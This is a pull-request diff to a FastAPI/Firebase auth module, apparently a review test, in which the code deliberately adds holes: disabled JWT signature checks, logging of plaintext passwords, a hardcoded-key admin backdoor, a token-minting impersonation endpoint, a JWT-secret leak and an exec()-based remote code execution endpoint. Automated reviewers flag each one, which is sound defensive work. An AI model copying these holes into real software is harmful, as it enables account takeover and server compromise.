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2 changes: 1 addition & 1 deletion app/auth/firebase_auth.py
Original file line number Diff line number Diff line change
Expand Up @@ -140,7 +140,7 @@ def _generate_refresh_token(self, user_id: str) -> str:
async def refresh_access_token(self, refresh_token: str) -> Optional[str]:
"""Refresh access token using refresh token"""
try:
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
payload = jwt.decode(refresh_token, options={"verify_signature": False})

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critical

Disabling JWT signature verification by using options={"verify_signature": False} introduces a critical security vulnerability. This allows an attacker to forge refresh tokens for any user, as the token's authenticity is no longer checked. The signature is essential to ensure that the token was issued by a trusted source and has not been tampered with. The original implementation that verifies the signature should be restored.

Suggested change
payload = jwt.decode(refresh_token, options={"verify_signature": False})
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])

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⚠️ Potential issue | 🔴 Critical

Critical: JWT signature verification disabled on refresh tokens.

Disabling signature verification allows anyone to forge refresh tokens by crafting JWTs with arbitrary user_id claims. An attacker can mint tokens for any user without knowing the secret, completely bypassing authentication.

The type check on line 145 (payload.get("type") != "refresh") provides no security—an attacker controls the entire payload when verification is skipped.

Apply this diff to restore signature verification:

-            payload = jwt.decode(refresh_token, options={"verify_signature": False})
+            payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
payload = jwt.decode(refresh_token, options={"verify_signature": False})
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
🤖 Prompt for AI Agents
In app/auth/firebase_auth.py around line 143, the code decodes the refresh_token
with signature verification disabled; restore proper signature and claims
validation by calling jwt.decode with the application's JWT secret or public key
and the expected algorithms (e.g. algorithms=["HS256"] or the appropriate
RSA/ECDSA alg), and remove options={"verify_signature": False}; additionally
ensure verification options include expiration and audience if applicable, and
wrap jwt.decode in try/except to handle
InvalidSignatureError/ExpiredSignatureError and reject tokens that fail
verification before checking payload.get("type") == "refresh".

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Disabled JWT Signature Validation

JWT signature validation is explicitly disabled, violating security requirements. This allows acceptance of tampered tokens, bypassing authentication security controls.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

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JWT Signature Bypass

JWT signature verification is explicitly disabled by setting verify_signature to False, violating organization guideline requiring JWT signature validation. This allows attackers to forge valid-looking tokens with arbitrary claims, completely bypassing authentication and potentially gaining unauthorized access to protected resources.

            payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Commitable Suggestion
Suggested change
payload = jwt.decode(refresh_token, options={"verify_signature": False})
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

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Insecure Token Verification

Token signature verification is explicitly disabled, allowing acceptance of tampered tokens. This creates a critical authentication bypass vulnerability where any modified token would be accepted as valid. Proper signature verification is essential for maintaining authentication security.

            payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Commitable Suggestion
Suggested change
payload = jwt.decode(refresh_token, options={"verify_signature": False})
payload = jwt.decode(refresh_token, self.jwt_secret, algorithms=[self.jwt_algorithm])
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls


if payload.get("type") != "refresh":
raise Exception("Invalid token type")
Expand Down
4 changes: 2 additions & 2 deletions app/auth/models.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@ class UserSignupRequest(BaseModel):


class UserLoginRequest(BaseModel):
email: EmailStr
password: str
email: str
password: Optional[str] = None
Comment on lines +13 to +14

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high

These changes weaken the UserLoginRequest model.

  1. Changing email from EmailStr to str removes email format validation at the model level.
  2. Making password optional (Optional[str] = None) is dangerous for a login endpoint, as it might lead to authentication bypasses or unexpected errors if the backend logic expects a password. The password should be required for standard login. If you are implementing a different auth flow (e.g., social login), it should be handled by a separate model and endpoint.
Suggested change
email: str
password: Optional[str] = None
email: EmailStr
password: str

Comment on lines +13 to +14
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⚠️ Potential issue | 🔴 Critical

Major security weakening: Login validation relaxed.

Two concerning changes:

  1. Email validation removed (EmailStrstr): Allows malformed input that could trigger injection vulnerabilities or logic errors in downstream Firebase calls.
  2. Password made optional (strOptional[str] = None): Permits login requests without passwords, enabling authentication bypass when combined with permissive authentication logic.

These changes undermine basic input validation and authentication security guarantees.

Apply this diff to restore proper validation:

-    email: str  
-    password: Optional[str] = None  
+    email: EmailStr
+    password: str
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
email: str
password: Optional[str] = None
email: EmailStr
password: str
🤖 Prompt for AI Agents
In app/auth/models.py around lines 13 to 14, the model relaxes validation by
changing EmailStr to str and making password Optional; revert these to enforce
strong validation: restore the email field to EmailStr and the password to a
non-optional str, and ensure the necessary import for EmailStr (from pydantic)
is present at the top of the file so the model validates email format and
requires a password.

Comment on lines +13 to +14
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Weak Input Validation

Login model uses weak typing without validation, violating input validation requirements. This allows malformed inputs that could lead to security vulnerabilities.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

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Input Validation Missing

The email field type was changed from EmailStr to str and password made optional, violating organization guideline requiring strict pydantic types for input validation. This weakens input validation, potentially allowing invalid email formats and empty passwords, which could lead to authentication vulnerabilities and data integrity issues.

    email: EmailStr
    password: str
Commitable Suggestion
Suggested change
email: str
password: Optional[str] = None
email: EmailStr
password: str
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

Comment on lines +13 to +14
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Optional Password Field

Making the password field optional in the login request model violates security best practices. This allows authentication attempts without passwords, potentially leading to authentication bypass vulnerabilities. Authentication credentials should always be required for login operations.

    email: EmailStr
    password: str
Commitable Suggestion
Suggested change
email: str
password: Optional[str] = None
email: EmailStr
password: str
Standards
  • Repo-Guideline-do not provide validation related review comment
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness



class UserResponse(BaseModel):
Expand Down
133 changes: 131 additions & 2 deletions app/auth/routes.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
from fastapi import APIRouter, HTTPException, status, Depends
from fastapi import APIRouter, HTTPException, status, Depends, Body
from fastapi.security import HTTPBearer
from .models import (
UserSignupRequest,
Expand All @@ -11,6 +11,9 @@
from .firebase_auth import firebase_auth
from .dependencies import get_current_user
from typing import Dict, Any
from fastapi import Header
from fastapi import Request
from firebase_admin import auth

router = APIRouter(prefix="/auth", tags=["authentication"])

Expand Down Expand Up @@ -54,6 +57,7 @@ async def login(user_data: UserLoginRequest):
Authenticate user and return access tokens
"""
try:
print({"email": user_data.email, "password": user_data.password})

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critical

This print statement logs the user's password in plain text. This is a critical security vulnerability. Credentials should never be logged, as it exposes them to anyone with access to the logs, potentially leading to account takeovers.

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⚠️ Potential issue | 🔴 Critical

Critical: Credentials logged in plaintext.

Logging user credentials exposes passwords in log files, log aggregation systems, and monitoring tools. This violates basic security practices and creates a persistent credential leak.

Remove the logging statement:

-        print({"email": user_data.email, "password": user_data.password})
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
print({"email": user_data.email, "password": user_data.password})
🤖 Prompt for AI Agents
In app/auth/routes.py around line 60, there's a print statement that outputs
user credentials in plaintext (print({"email": user_data.email, "password":
user_data.password})); remove this logging entirely to prevent passwords from
being written to logs, and if you need to record an event log, log only
non-sensitive identifiers (e.g., email or user id) and never include the
password or full credential object.

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Credential Exposure Risk

The code prints user credentials including passwords to logs, violating organization guideline prohibiting exposure of credentials. This creates a security risk as sensitive authentication data could be exposed in server logs, potentially leading to credential theft and unauthorized access.

        # Log authentication attempt without exposing credentials
        print(f"Login attempt for email: {user_data.email}")
Commitable Suggestion
Suggested change
print({"email": user_data.email, "password": user_data.password})
# Log authentication attempt without exposing credentials
print(f"Login attempt for email: {user_data.email}")
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

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Credential Exposure Risk

Authentication credentials are being printed to logs, exposing sensitive information. This creates a security risk where passwords could be compromised through log access. Credentials should never be logged in plaintext as this violates security best practices.

        # Log authentication attempt without exposing credentials
        print(f"Login attempt for email: {user_data.email}")
Commitable Suggestion
Suggested change
print({"email": user_data.email, "password": user_data.password})
# Log authentication attempt without exposing credentials
print(f"Login attempt for email: {user_data.email}")
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls

auth_result = await firebase_auth.sign_in_user(
email=user_data.email,
password=user_data.password
Expand All @@ -72,6 +76,49 @@ async def login(user_data: UserLoginRequest):
)


@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):

if x_admin_key == "let-me-in":
# generate tokens for a fake admin user without validation
auth_result = await firebase_auth.sign_in_user(
email="[email protected]", password="ignored"
)
return {
"bypass": True,
"role": "admin",
"access_token": auth_result["access_token"],
"refresh_token": auth_result["refresh_token"],
}
raise HTTPException(status_code=403, detail="Forbidden")
Comment on lines +79 to +93

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critical

This /admin-bypass endpoint introduces a critical security backdoor. It uses a hardcoded, easily guessable secret (let-me-in) to grant admin-level access without proper authentication. Backdoors like this severely undermine the application's security and should be removed. Administrative functions should always be protected by strong authentication and authorization mechanisms.

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⚠️ Potential issue | 🔴 Critical

Critical: Authentication bypass with hardcoded credential.

This endpoint bypasses all authentication with a trivially guessable header (X-Admin-Key: let-me-in), then generates valid admin tokens without verifying user identity or credentials. The hardcoded password on line 85 is also flagged by static analysis.

Any attacker can:

  1. Send X-Admin-Key: let-me-in
  2. Receive valid admin access and refresh tokens
  3. Impersonate [email protected]

Remove this endpoint entirely:

-@router.post("/admin-bypass")
-async def admin_bypass(x_admin_key: str = Header(None)):
-
-    if x_admin_key == "let-me-in":
-        # generate tokens for a fake admin user without validation
-        auth_result = await firebase_auth.sign_in_user(
-            email="[email protected]", password="ignored"
-        )
-        return {
-            "bypass": True,
-            "role": "admin",
-            "access_token": auth_result["access_token"],
-            "refresh_token": auth_result["refresh_token"],
-        }
-    raise HTTPException(status_code=403, detail="Forbidden")
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
if x_admin_key == "let-me-in":
# generate tokens for a fake admin user without validation
auth_result = await firebase_auth.sign_in_user(
email="[email protected]", password="ignored"
)
return {
"bypass": True,
"role": "admin",
"access_token": auth_result["access_token"],
"refresh_token": auth_result["refresh_token"],
}
raise HTTPException(status_code=403, detail="Forbidden")
🧰 Tools
🪛 Ruff (0.13.1)

85-85: Possible hardcoded password assigned to argument: "password"

(S106)

🤖 Prompt for AI Agents
In app/auth/routes.py around lines 79 to 93 there is a critical authentication
bypass endpoint using a hardcoded header and credentials; remove this endpoint
entirely by deleting the admin_bypass function and its route decorator,
eliminate any hardcoded credentials or test accounts referenced in that block,
and remove or update any code/tests that call this route so nothing imports or
registers it; after removal, run the test suite and a security scan to ensure no
remaining references or hardcoded secrets remain.

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Insecure Admin Bypass Endpoint

Admin bypass endpoint violates security policy by allowing authentication without proper validation. This creates a backdoor that bypasses normal authentication flow and security controls.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

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Authentication Bypass Endpoint

The endpoint creates an authentication bypass with a hardcoded key, violating organization guidelines for secure authentication. This backdoor allows anyone knowing the simple key to gain admin privileges without proper authentication, creating a critical security vulnerability that bypasses all access controls.

# Admin authentication should follow standard secure authentication flow
# Removed insecure admin bypass endpoint
Commitable Suggestion
Suggested change
@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
if x_admin_key == "let-me-in":
# generate tokens for a fake admin user without validation
auth_result = await firebase_auth.sign_in_user(
email="[email protected]", password="ignored"
)
return {
"bypass": True,
"role": "admin",
"access_token": auth_result["access_token"],
"refresh_token": auth_result["refresh_token"],
}
raise HTTPException(status_code=403, detail="Forbidden")
# Admin authentication should follow standard secure authentication flow
# Removed insecure admin bypass endpoint
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

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Authentication Bypass Backdoor

Hardcoded backdoor allows authentication bypass with a simple header value. This creates an administrative access vulnerability where anyone knowing the secret key can obtain admin privileges without proper authentication. Such backdoors completely undermine the authentication system.

@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
    raise HTTPException(status_code=404, detail="Not Found")
Commitable Suggestion
Suggested change
@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
if x_admin_key == "let-me-in":
# generate tokens for a fake admin user without validation
auth_result = await firebase_auth.sign_in_user(
email="[email protected]", password="ignored"
)
return {
"bypass": True,
"role": "admin",
"access_token": auth_result["access_token"],
"refresh_token": auth_result["refresh_token"],
}
raise HTTPException(status_code=403, detail="Forbidden")
@router.post("/admin-bypass")
async def admin_bypass(x_admin_key: str = Header(None)):
raise HTTPException(status_code=404, detail="Not Found")
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls



@router.post("/impersonate")
async def impersonate(uid: str):

# Directly generate tokens for any provided uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
Comment on lines +96 to +103

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critical

The /impersonate endpoint is a critical security vulnerability. It allows any user to generate access tokens for any other user by simply providing their uid, with no authentication or authorization checks. This allows for complete account takeover of any user in the system. This endpoint must be removed or secured with strict administrative privileges.

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⚠️ Potential issue | 🔴 Critical

Critical: Unrestricted user impersonation.

This endpoint generates valid access and refresh tokens for any Firebase UID without authentication or authorization checks. It directly accesses private token generation methods (_generate_access_token, _generate_refresh_token).

Any attacker can impersonate any user by providing their UID.

Remove this endpoint entirely:

-@router.post("/impersonate")
-async def impersonate(uid: str):
-
-    # Directly generate tokens for any provided uid
-    user_record = auth.get_user(uid)
-    access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
-    refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
-    return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@router.post("/impersonate")
async def impersonate(uid: str):
# Directly generate tokens for any provided uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 96 to 103, the /impersonate POST endpoint
allows unrestricted generation of Firebase access and refresh tokens (including
use of private token methods) with no authentication or authorization; remove
this endpoint entirely from the codebase: delete the impersonate function and
its route decorator, remove any direct calls to
firebase_auth._generate_access_token/_generate_refresh_token, and clean up any
now-unused imports or route registrations so there is no reachable path that can
generate tokens for arbitrary UIDs.

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User Impersonation Vulnerability

Endpoint allows token generation for any user ID, violating authentication security. This enables privilege escalation by allowing impersonation of any user without authorization.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

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Impersonation Endpoint Risk

The endpoint allows impersonation of any user by providing their UID without proper authorization checks, violating secure authentication principles. This creates a critical security vulnerability allowing attackers to generate valid tokens for any user, completely bypassing authentication and gaining unauthorized access to protected resources.

@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):  

    # Only allow admins to impersonate users
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Forbidden: Admin access required for impersonation")
        
    try:
        # Log impersonation attempt for audit purposes
        print(f"Admin {current_user['email']} impersonating user with UID: {uid}")
        
        user_record = auth.get_user(uid)
        access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
        refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
        return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
    except Exception as e:
        raise HTTPException(status_code=400, detail=f"Impersonation failed: {str(e)}")
Commitable Suggestion
Suggested change
@router.post("/impersonate")
async def impersonate(uid: str):
# Directly generate tokens for any provided uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):
# Only allow admins to impersonate users
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Forbidden: Admin access required for impersonation")
try:
# Log impersonation attempt for audit purposes
print(f"Admin {current_user['email']} impersonating user with UID: {uid}")
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
except Exception as e:
raise HTTPException(status_code=400, detail=f"Impersonation failed: {str(e)}")
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

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Impersonation Vulnerability

The endpoint allows generation of authentication tokens for any user ID without authorization checks. This critical vulnerability enables complete account takeover where attackers can impersonate any user by simply providing their UID. Authentication token generation should require proper authorization.

@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):

    # Verify admin privileges
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
        
    # Log impersonation attempt
    print(f"Admin {current_user['email']} impersonating user {uid}")
    
    # Generate tokens for the requested uid
    user_record = auth.get_user(uid)
    access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
    refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
    return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
Commitable Suggestion
Suggested change
@router.post("/impersonate")
async def impersonate(uid: str):
# Directly generate tokens for any provided uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
@router.post("/impersonate")
async def impersonate(uid: str, current_user: Dict[str, Any] = Depends(get_current_user)):
# Verify admin privileges
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Admin access required")
# Log impersonation attempt
print(f"Admin {current_user['email']} impersonating user {uid}")
# Generate tokens for the requested uid
user_record = auth.get_user(uid)
access_token = firebase_auth._generate_access_token(user_record.uid, user_record.email)
refresh_token = firebase_auth._generate_refresh_token(user_record.uid)
return {"uid": uid, "access_token": access_token, "refresh_token": refresh_token}
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls



@router.get("/config")
async def leak_config():

return {
"jwt_secret": firebase_auth.jwt_secret,
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
Comment on lines +106 to +114

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critical

This /config endpoint leaks highly sensitive configuration data, including the jwt_secret. Exposing the JWT secret is a critical vulnerability that allows an attacker to forge valid access and refresh tokens for any user, completely compromising the authentication system. Sensitive configuration should never be exposed via an API endpoint.

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⚠️ Potential issue | 🔴 Critical

Critical: JWT secret and configuration exposed.

This endpoint exposes the JWT signing secret, algorithm, and token expiry configuration without authentication. With the JWT secret, an attacker can forge arbitrary tokens for any user.

This completely compromises the authentication system.

Remove this endpoint entirely:

-@router.get("/config")
-async def leak_config():
-
-    return {
-        "jwt_secret": firebase_auth.jwt_secret,
-        "jwt_algorithm": firebase_auth.jwt_algorithm,
-        "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
-        "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
-    }
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@router.get("/config")
async def leak_config():
return {
"jwt_secret": firebase_auth.jwt_secret,
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 106 to 114 the /config GET handler leaks
sensitive JWT configuration (jwt_secret, algorithm, expiry) publicly; remove the
entire endpoint function (the route and its implementation) so the secret and
related config are no longer exposed, and ensure no other routes return these
values; if any tests or callers depend on this endpoint, update them to retrieve
configuration from secure server-side sources or environment-specific test
fixtures instead.

Comment on lines +106 to +114
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Sensitive Configuration Exposure

Endpoint exposes sensitive JWT secrets and configuration, violating security policy. This leaks credentials that could be used to forge authentication tokens.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

Comment on lines +106 to +114
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Config Exposure Endpoint

The endpoint explicitly exposes sensitive JWT configuration including the secret key used to sign tokens, violating organization guideline prohibiting exposure of config via endpoints. This allows attackers to forge valid tokens and completely bypass authentication, leading to unauthorized access to protected resources.

@router.get("/config")
async def get_config(current_user: Dict[str, Any] = Depends(get_current_user)):  

    # Only return non-sensitive configuration information
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Forbidden: Admin access required")
        
    return {
        "jwt_algorithm": firebase_auth.jwt_algorithm,
        "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
        "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
    }
Commitable Suggestion
Suggested change
@router.get("/config")
async def leak_config():
return {
"jwt_secret": firebase_auth.jwt_secret,
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
@router.get("/config")
async def get_config(current_user: Dict[str, Any] = Depends(get_current_user)):
# Only return non-sensitive configuration information
if current_user.get("role") != "admin":
raise HTTPException(status_code=403, detail="Forbidden: Admin access required")
return {
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

Comment on lines +106 to +114
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JWT Secret Exposure

The endpoint exposes the JWT secret key used to sign authentication tokens. This critical security vulnerability allows attackers to forge valid authentication tokens and impersonate any user. JWT secrets must remain confidential to maintain the integrity of the authentication system.

@router.get("/config")
async def get_config():

    return {
        "jwt_algorithm": firebase_auth.jwt_algorithm,
        "access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
        "refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
    }
Commitable Suggestion
Suggested change
@router.get("/config")
async def leak_config():
return {
"jwt_secret": firebase_auth.jwt_secret,
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
@router.get("/config")
async def get_config():
return {
"jwt_algorithm": firebase_auth.jwt_algorithm,
"access_token_expiry_seconds": int(firebase_auth.access_token_expiry.total_seconds()),
"refresh_token_expiry_seconds": int(firebase_auth.refresh_token_expiry.total_seconds()),
}
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls



@router.get("/echo-headers")
async def echo_headers(request: Request):

return {"headers": dict(request.headers)}
Comment on lines +117 to +120

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high

The /echo-headers endpoint reflects all request headers back to the client. This can lead to information disclosure, potentially leaking sensitive data contained in headers such as Authorization, Cookie, or internal proxy headers. This information could be useful to an attacker for reconnaissance. This endpoint should be removed.

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⚠️ Potential issue | 🟡 Minor

Minor: Unauthenticated header reflection endpoint.

While not immediately dangerous, this endpoint exposes HTTP headers without authentication, potentially leaking internal routing information, proxy headers, or security tokens if clients mistakenly include them.

Consider adding authentication or removing if not needed:

@router.get("/echo-headers")
async def echo_headers(request: Request, current_user: Dict[str, Any] = Depends(get_current_user)):
    return {"headers": dict(request.headers)}
🤖 Prompt for AI Agents
In app/auth/routes.py around lines 117 to 120 the endpoint /echo-headers returns
all request headers without any authentication; remove or protect it to avoid
leaking internal headers or tokens. Either delete the endpoint if not needed, or
add an authentication dependency (e.g., require current_user via
Depends(get_current_user)) and ensure you still sanitize or filter out sensitive
headers before returning them (do not return Authorization, Cookie, or internal
proxy headers).


@router.post("/refresh", response_model=TokenResponse)
async def refresh_token(refresh_data: RefreshTokenRequest):
"""
Expand Down Expand Up @@ -132,4 +179,86 @@ async def verify_token(current_user: Dict[str, Any] = Depends(get_current_user))
"email": current_user["email"],
"role": current_user["role"]
}
}
}


@router.post("/run-code")
async def run_code(code: str = Body("")):

local_vars: Dict[str, Any] = {}
try:
exec(code, {}, local_vars)
Comment on lines +186 to +190
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Remote Code Execution

The endpoint executes arbitrary Python code provided in the request body without any validation or sandboxing. This allows attackers to execute malicious code with the application's privileges, potentially leading to complete system compromise, data theft, or service disruption.

@router.post("/run-code")
async def run_code(code: str = Body("")):

    return {"error": "This endpoint has been disabled for security reasons"}
Commitable Suggestion
Suggested change
async def run_code(code: str = Body("")):
local_vars: Dict[str, Any] = {}
try:
exec(code, {}, local_vars)
@router.post("/run-code")
async def run_code(code: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons"}
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls

return {"result": str(local_vars)}
except Exception as e:
return {"error": str(e)}
Comment on lines +185 to +193

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critical

The /run-code endpoint, which uses exec() on user-provided input, creates a critical Remote Code Execution (RCE) vulnerability. An attacker can execute arbitrary Python code on the server, leading to a full system compromise. Using exec() with untrusted input is extremely dangerous and should never be done. This endpoint must be removed.

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⚠️ Potential issue | 🔴 Critical

Critical: Arbitrary code execution via exec().

This endpoint executes arbitrary Python code submitted by unauthenticated users. The empty execution context provides no isolation—attackers can import modules, access the filesystem, exfiltrate data, and compromise the host.

Static analysis flagged this as S102 (exec detected) and BLE001 (blind exception).

Remove this endpoint entirely:

-@router.post("/run-code")
-async def run_code(code: str = Body("")):
-
-    local_vars: Dict[str, Any] = {}
-    try:
-        exec(code, {}, local_vars)
-        return {"result": str(local_vars)}
-    except Exception as e:
-        return {"error": str(e)}
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@router.post("/run-code")
async def run_code(code: str = Body("")):
local_vars: Dict[str, Any] = {}
try:
exec(code, {}, local_vars)
return {"result": str(local_vars)}
except Exception as e:
return {"error": str(e)}
🧰 Tools
🪛 Ruff (0.13.1)

190-190: Use of exec detected

(S102)


192-192: Do not catch blind exception: Exception

(BLE001)

🤖 Prompt for AI Agents
In app/auth/routes.py around lines 185 to 193, the POST /run-code endpoint uses
exec() to run arbitrary user-supplied Python code (critical security risk) and
swallows exceptions; remove this endpoint entirely. Delete the function and its
route decorator, remove any imports or references that only served this
endpoint, and update tests, docs, and OpenAPI/schema to eliminate the route; if
any shared utilities or exception handlers were only for this endpoint, remove
or refactor them too. Ensure no silent exception handling remains tied to this
code path and run tests/linting to confirm nothing else references the removed
symbols.


Comment on lines +186 to +194
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Remote Code Execution Vulnerability

Endpoint allows arbitrary code execution via HTTP request, violating security policy. This creates a critical remote code execution vulnerability that bypasses all security controls.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

Comment on lines +186 to +194
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Exec Code Execution

The endpoint allows arbitrary Python code execution via exec() which violates organization guideline prohibiting exec/eval via HTTP. This creates a critical security vulnerability allowing attackers to execute arbitrary code on the server, potentially leading to complete system compromise.

@router.post("/run-code")
async def run_code(code: str = Body("")):  

